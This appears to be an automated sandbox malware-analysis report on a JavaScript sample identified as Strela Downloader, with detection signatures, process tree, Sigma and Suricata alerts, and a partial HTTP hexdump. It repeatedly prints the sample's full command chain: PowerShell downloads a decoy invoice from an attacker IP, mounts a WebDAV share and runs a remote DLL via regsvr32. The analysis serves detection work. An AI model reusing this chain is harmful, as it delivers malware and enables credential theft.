Edit tour

Windows Analysis Report
24755260942519232167.js

Overview

General Information

Sample name:	24755260942519232167.js
Analysis ID:	1588816
MD5:	75929d522edf2fe8fd2e4eb0e59eb862
SHA1:	335f92216a207a3df9339f5aca14a642b2590c0c
SHA256:	cc20377c2c639487399b9a43f3dd5c0de7f72777990f86d4f2e3b6a07d8e4e90
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5012 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1596 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2132 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5896 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1772,i,15525011413894841716,3082216128008660101,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3652 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2548 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2300 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5012	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2132, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2132, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ProcessId: 5012, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2548, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 1596, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 1596, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 1596, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 1596, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 1596, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ProcessId: 5012, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2132, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2548, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2300, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2548, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 1596, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:54:00.446016+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:54:03.056354+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:54:00.446016+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 24755260942519232167.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 24755260942519232167.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 24755260942519232167.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:54:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 